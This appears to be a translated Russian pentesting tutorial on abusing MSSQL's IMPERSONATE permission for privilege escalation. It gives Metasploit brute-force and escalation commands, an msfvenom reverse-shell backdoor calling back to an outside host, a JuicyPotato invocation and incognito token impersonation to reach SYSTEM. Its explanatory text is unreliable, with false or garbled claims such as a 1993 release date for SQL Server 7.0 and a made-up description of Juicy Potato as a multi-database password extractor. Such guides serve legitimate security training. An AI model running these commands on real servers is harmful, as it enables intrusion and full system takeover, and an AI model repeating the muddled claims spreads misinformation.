Тестирование на проникновение MSSQL

0
1645
Specific objects
Specific objects

Тестирование на проникновение MSSQL или пентестинг MSSQL с помощью функции Impersonate. Самая ранняя реализация Impersonate была в SQL Server 7.0, выпущенном в январе 1993 года. Эта команда используется для аутентификации пользователя от имени другого пользователя.

Тестирование на проникновение MSSQL. Вступление

Команда MSSQL Impersonate — это способ аутентификации под другими именами пользователей для выполнения системных запросов. Обычно она используется вместе с оператором CREATE USER. Когда вы используете учетную запись impersonation, SQL Server проверяет, есть ли у вас разрешения ко всем базам данных, на которые отправляется запрос. Тестирование на проникновение MSSQL.

Существует множество случаев, когда на компьютере необходимо войти в систему под чужим именем. Например, у вас может не быть административных прав, необходимых для таких задач, как установка нового программного обеспечения или доступ к файлам. Однако бывают случаи, когда это необходимо, даже если у вас есть соответствующий уровень привилегий. В таких случаях Microsoft предоставляет функцию имперсонации под названием «Impersonate«. Это одна из встроенных функций безопасности, которая проста в использовании. В этой статье рассказывается о том, как ее можно использовать в Microsoft SQL Server Management Studio (SSMS).

Прежде чем приступить к работе (Тестирование на проникновение MSSQL) , необходимо понять несколько вещей; первая из них заключается в том, что SQL Server имеет процесс входа в систему, который требует аутентификации с помощью действительного имени пользователя и пароля. Когда вы входите в систему под именем пользователя, SSMS запрашивает пароль этого пользователя. Следующее, что необходимо понять, это концепция имперсонализации — вы можете войти в систему под именем одного пользователя, но потом сменить свою роль. Это означает, что если ваш текущий логин не авторизован для выполнения задачи, которую вы хотите решить, вы можете переключиться на другую учетную запись с помощью имперсонализации и выполнить работу.

Свойства команды «Impersonate»

Существует множество вариантов использования свойства Impersonate на сервере MSSQL. Некоторые из них перечислены ниже тестирование на проникновение MSSQL:

  • Представьте, что клиентскому приложению необходимо получить доступ к базе данных на сервере, но клиент не работает под привилегированной учетной записью. В этом случае MSSQL impersonation позволит клиентскому приложению получить доступ к базе данных без учетных данных для доступа к ней на сервере. Это полезно при проектировании веб-сервисов или сервисов обмена файлами, где анонимные или не прошедшие аутентификацию пользователи могут загружать данные для скачивания другими пользователями. Клиентское приложение получит доступ к базе данных без предоставления учетных данных, включив имперсонацию с учетной записью анонимного пользователя. Учетные данные потребуются только для создания/удаления/репликации таблиц.
  • Все строки подключения к базе данных, не предоставленные учетной записью службы, требуют использования функции «Impersonate» со стороны сервера. Администратору потребуется настроить все строки подключения за один раз и убедиться, что они были подготовлены соответствующим образом с нужными привилегиями для каждого серверного приложения.
  • Другая причина использования «Impersonate» — совместимость с Active Directory Users and Computers (ADUC). ADUC — это полезный инструмент для работы с учетными записями и группами в вашем домене: вы можете создавать/удалять учетные записи, включать или отключать их, устанавливать срок действия паролей и вообще управлять пользовательскими объектами в домене Active Directory (AD). Однако ADUC не позволяет добавлять или обновлять пользовательские данные для объектов пользователей; вместо этого вы можете редактировать только данные, хранящиеся в стандартных полях, таких как имя, фамилия и т.д. Команда «Impersonate» дает возможность MSSQL представляться членом группы Domain Users в ОС при подключении к серверу. Это означает, что пользователи могут использовать ADUC без привилегий.
  • «Impersonate» использует тот же метод, что и Windows, для выполнения хранимых процедур (SPs) и триггеров на удаленном сервере. Именно так поступает SQL Server при имперсонификации: он запускает user=<user> в качестве контекста TRUST на всех удаленных SP и триггерах. Это позволяет пользователям T-SQL получать доступ к базе данных, используя свои учетные данные Windows/AD, не предоставляя учетные данные SQL Server при каждом вызове.
  • Она также может вызвать функцию базы данных или хранимую процедуру, которая использует определенного контекстного пользователя (например, членов роли базы данных (members of a database role)). Установив это свойство, вы можете разрешить пользователям, добавленным в эту группу, начать выдавать себя за сервер с помощью всего одного соединения.

Безопасность и команда «Impersonate»

Эта команда позволяет пользователю выдавать себя за другого пользователя в MSSQL и создавать учетные данные для входа. Последствия использования данной функции в плане безопасности заключаются в том, что если кто-то может выдать себя за другого человека в базе данных, он может войти в любое приложение, требующее аутентификации, без необходимости знать какие-либо пароли или личную информацию. Это именно то, что будет исследовано в данной статье.

Знакомство с Juicy Potato

Пользователь будет тестировать функцию «Impersonate» с помощью двух инструментов: Metasploit и Juicy Potato. Многие уже знакомы с Metasploit. Сейчас пойдет речь о Juicy Potato, который можно скачать, перейдя по ссылке.
Инструмент Juicy Potato используется для взлома или подражания входа в систему SQL. Он автоматически извлекает имя пользователя и пароль с SQL-сервера. Таким образом, пользователи могут использовать инструмент для взлома своей или чужой базы данных без каких-либо ошибок. Вся информация будет сохранена на их компьютере.
Стоит отметить, что этот инструмент можно использовать для извлечения информации из определенной таблицы или столбца. Это очень удобно для пентестеров во время анализа базы данных и удаления важных компонентов. Программу также можно применять для входа в базу данных без информации об имени для входа. Этот инструмент является единственным в своем роде; он предназначен для быстрого и простого извлечения всей необходимой информации из SQL Server, MySQL, MS Access, Oracle и IBM DB2. Программа также может создавать файлы доступа и скрипты. Пользователь имеет возможность настроить вывод данных в соответствии со своими требованиями. Таким образом, это позволяет ему делать все, что он захочет, с базой данных в один щелчок мыши.
Этот инструмент обладает множеством функций, которые делают его надежным и простым в использовании. Он будет полезен для сетевых администраторов, пентестеров, хакеров. Программа выполняет поставленные задачи без каких-либо проблем и ошибок. Она легко настраивается, что позволяет пользователю выбрать все параметры в соответствии со своими желаниями. Человеку не требуются какие-либо особые знания ПК или программирования, чтобы использовать этот инструмент.

Включение функции «Impersonate» (GUI)

Чтобы узнать, как включить функцию «Impersonate», следует начать с создания нового пользователя. Пользователь переходит по следующему пути: server>Security>Logins. Здесь он щелкнет правой кнопкой мыши на Logins и выберет опцию New Login из раскрывающегося меню, которое появится после щелчка.

Тестирование на проникновение MSSQL
Enabling Impersonate (GUI)

Откроется диалоговое окно; в диалоговом окне укажите имя пользователя и пароль. Убедитесь, что флажок Enforce password policy снят, а затем нажмите кнопку OK, как показано на рисунке ниже:

Тестирование на проникновение MSSQL
Enforce password policy

В правой панели вы увидите, что создан новый пользователь по имени lowpriv. Теперь щелкните правой кнопкой мыши на пользователе. Появится выпадающее меню. В этом выпадающем меню выберите пункт Свойства (Properties), как показано на рисунке ниже:

Тестирование на проникновение MSSQL
Properties

В диалоговом окне свойств можно увидеть, что единственным включенным свойством является public, как показано на рисунке ниже:

Тестирование на проникновение MSSQL

Теперь на правой панели вы увидите, что есть опция под названием Securables. Нажмите на эту опцию, а затем нажмите на кнопку Поиск (Search). В результате откроется диалоговое окно. Диалоговое окно предложит вам три варианта. Выберите Specific objects и нажмите на кнопку OK, как показано на рисунке ниже:

Specific objects
Specific objects

Откроется еще одно диалоговое окно; в нем нажмите на кнопку Типы объектов (Object Types), в результате чего откроется еще одно диалоговое окно. В этом диалоговом окне выберите опцию Login, а затем нажмите кнопку OK, как показано на рисунке:

Тестирование на проникновение MSSQL

Затем выберите пользователя, чей логин вы хотите выдать за свой. На изображении ниже видно, что мы выбрали пользователя sa. После того как вы выбрали пользователя, нажмите на кнопку OK.

sa
sa

Теперь, если вы проверите разрешения для пользователя sa, вы увидите, что разрешение на выдачу себя за другого пользователя включено, как показано на рисунке ниже:

permissions for sa user
permissions for sa user

Эксплойт MSSQL с помощью команды «Impersonate»

Metasploit

Чтобы произвести эксплойт MSSQL с помощью «Impersonate», сначала нужно найти имя пользователя и пароль. Можно развернуть следующий эксплойт, который будет использовать атаку со словарями и поможет найти учетные данные пользователя:

use auxiliary/scanner/mssql/mssql_login
set rhosts 192.168.1.146
set user_file /root/users.txt
set pass_file /root/pass.txt
set verbose false
exploit
Эксплойт MSSQL с помощью команды «Impersonate»
Эксплойт MSSQL с помощью команды «Impersonate»

Как можно заметить, теперь у пользователя есть учетные данные. Он проверит, можно ли запустить новый эксплойт «mssql_payload». Если этот эксплойт успешно выполняется сам по себе, это будет означать, что данный пользователь имеет право на это. В противном случае нужно будет использовать другой эксплойт для запуска функции «Impersonate». Чтобы запустить выбранный эксплойт, используется следующий набор команд:

use exploit/windows/mssql/mssql_payload
set rhosts 192.168.1.146
set username lowpriv
set password [email protected]
exploit

Как видно, эксплойт успешно не выполняется. Итак, теперь пользователь решает использовать другой эксплойт, который вызовет включение свойства «Impersonate». Для этого вводится команда:

use auxiliary/widows/mssql/mssql_escalate_execute_as
set rhosts 192.168.1.146
set username lowpriv
set password [email protected]
exploit

Тестирование на проникновение MSSQL

В результате примененного эксплойта можно увидеть, что пользователь lowpriv теперь является членом группы системных администраторов, поскольку он выдает себя за пользователя sa. Таким образом, теперь пользователь sa также будет системным администратором.
Тестирование на проникновение MSSQL

Теперь, если мы запустим предыдущий эксплойт, а именно mssql_payload, то получим сессию meterpreter, как показано на рисунке ниже:

Тестирование на проникновение MSSQL

Теперь, когда у нас есть сессия meterpreter, мы можем перейти в shell и посмотреть, какие привилегии есть у нашего пользователя с помощью команды whoami. С помощью команды whoami /priv мы также можем проверить, включено ли свойство impersonate или нет; как показано на рисунке ниже:

Тестирование на проникновение MSSQL

Повышение привилегий (Тестирование на проникновение MSSQL)

Juicy Potato

Теперь, чтобы получить доступ к полномочиям\системе (authority\system), будет создан исполняемый файл с бэкдором с помощью «msfvenom».

msfvenom -p windows/shell_reverse_tcp lhost=192.168.1.2 lport=8888 -f exe > backdoor.exe

Тестирование на проникновение MSSQL

Как вы можете видеть, файл создан. Теперь мы сделаем две вещи. Во-первых, мы загрузим juicy Potato. А во-вторых, мы загрузим наш файл backdoor.exe. Для этого зайдите в сессию meterpreter, которую мы получили ранее. И введите следующие команды:

cd c:\\Users\\Public
upload /root/Downloads/JuicyPotato.exe .
upload /root/Downloads/backdoor.exe .

Тестирование на проникновение MSSQL

Juicy Potato позволяет человеку перейти от SEImpersoalPrivlege к SYSTEM. Для этого нужен файл .exe, который будет работать в качестве полезной нагрузки; пользователь загрузит его в общедоступный каталог. Загрузка EXE-файла и эксплойта Juicy Potato будет осуществляться через MS SQL Shell. Для успешного запуска Juicy Potato потребуется идентификатор CLSID. Такой список уже доступен в репозитории GitHub JuicyPotato (для каждой ОС). Далее нужно просто выполнить следующую команду:

JuicyPotato.exe -l 8888 -p backdoor.exe -t * -c {B91D5831-B1BD-4608-8198-D72E155020F7}

Тестирование на проникновение MSSQL

После выполнения вышеуказанной команды вы можете активировать слушателя netcat для получения сеанса, как показано на изображении ниже:

Тестирование на проникновение MSSQL

Как только пользователь получит сеанс netcat, он использует команду whoami, чтобы проверить, что у него есть доступ к authority\system.

Токен Impersonate (Impersonate Token)

Другой способ получить доступ к authority\system – это выдать себя за токен. Для этого пользователь загрузит расширение incognito в сеансе meterpreter, а затем вызовет списки токенов. Можно увидеть, что есть системный токен. Доступ через этот токен – это все, что нужно для получения привилегий. Для этого пользователь выдаст себя за указанный токен, просто используя команду impersonate_token. Как только он успешно осуществит это, то сможет проверить свои возможности с помощью команды whoami. Для всего этого используется следующий набор команд:

load incognito
list_tokens -u
impersonate_token "NT AUTHORITY\SYSTEM"
shell
whoami

Тестирование на проникновение MSSQL

Тестирование на проникновение MSSQL: выводы.

Мы получили желаемый доступ. Таким образом, используя эти методы, вы можете протестировать MSSQL с помощью команды «Impersonate».

Возможно вам будет интересно: Тест на проникновение с помощью Metasploit Framework: базовое руководство для системного администратора

original

Ключи: Тестирование на проникновение MSSQL, MSSQL, Impersonate.